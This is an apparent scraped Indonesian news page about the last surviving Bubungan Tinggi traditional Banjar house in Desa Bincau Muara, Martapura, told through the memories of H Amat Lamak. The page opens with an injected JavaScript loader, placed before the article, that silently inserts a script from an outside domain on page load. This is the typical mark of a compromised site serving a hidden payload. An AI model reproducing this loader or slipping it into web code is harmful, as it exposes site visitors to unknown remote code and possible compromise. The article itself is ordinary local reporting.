(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bersama puluhan anak seusianya, Amat Lamak yang kala itu berusia sekitar 7 tahun seksama memperhatikan pelajaran Tauhid yang disampaikan Syariat bin Haji Arsal bin Kai Basar, kakak kandungnya. Seperti malam-malam lainnya, meski hanya diterangi cahaya lentera, suasana belajar ilmu-ilmu agama di atas tiang-tiang kayu ulin raksasa penyangga rumah Banjar Bubungan Tinggi milik Haji Arsal, di Desa Bincau Muara, Martapura, Kabupaten Banjar itu tetap menyenangkan dan khusyuk.
Tak hanya sebagai rumah tinggal keluarga Haji Arsal, rumah tradisional dengan anjungan di sisi kiri dan kanan khas rumah Banjar peninggalan Basar atau akrab disapa Kai Basar, ayah Haji Arsal itu, juga digunakan sebagai tempat menimba ilmu-ilmu agama. Tak hanya anak-anak, tapi juga kalangan pemuda, dan orangtua.
Di rumah Bubungan Tinggi berukuran sekitar 4 x 15 meter itu, berbagai pertemuan kalangan tokoh masyarakat dan tatuha desa acap kali digelar. Materi pertemuan tak pernah membahas urusan keduniawian.
Dulu, selain rumah milik Haji Arsal bin Basar, di Desa Bincau Muara ada lima rumah Bubungan Tinggi lainnya. Namun seiring berjalannya waktu, satu persatu rumah tradisinoal Banjar itu punah dan hanya menyisakan satu, milik H Arsal bin kai Basar.
Kondisi bangunan yang kian lama kian rapuh dimakan usia karena tanpa adanya perawatan dan perbagian material bangunan yang rusak, menjadi salah sat penyebab hilangnya rumah-rumah yangmengadopsi rumah-rumah kawula kerajaan pada masa Kesultanan Banjar itu.
Ditambah lagi, permasalahan hak waris para keturunan yang menuntut pembangian sama atas harta warisan peninggalan orangtua dan pedatuan mereka, kian membuat rumah-rumah bahari bergaya khas adat Banjar tak mampu lagi dipertahankan. Setelah terjual, rumah-rumah itu tentu akan dibabak habis oleh penjual. Material bangunan, berupa kayu ulin menjadi incaran banyak orang ditengah kian susahnya regulasi mendapat kayu-kayu ulin dari tengah hutan.
Belum lagi incaran banyak kolektor benda antik, yang sering berambisi pada model lawas rumah kuno, atau ornamen-ornamen berupa ukiran-ukiran tempo dulu yang biasa digunakan sebagai tawing halat pada rumah adat Banjar.
“Sejak sekitar tahun 1950-an, satu per satu rumah Bubungan Tinggi di Desa Muara Bincau hilang,†kata H Amat Lamak bin H Arsal bin Kai Basar (78).
Beruntung, Haji Arsal pernah berwasiat pada anak cucunya termasuk H Amat Lamak, untuk tetap membiarkan rumah itu tetap berdiri dengan tidak menjualnya. Banyak sejarah yang terlanjur terjadi di dalam rumah itu. Bagi semua keturunannya yang belum bisa membangun tempat tinggal sendiri, H Arsal berpesan tetap menempati rumah itu. “Rumah ini umurnya sudah lebh dari 150 tahun. Karena yang saya ingat saat saya masih anak-anak rumah ini sudah dibangun oleh Kai Kadir, kakek saya sendiri. Dan sekarang umur saya suudah hampir 80 tahun,†kata H Amat Lamak. (rudiyanto)
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
This website uses cookies.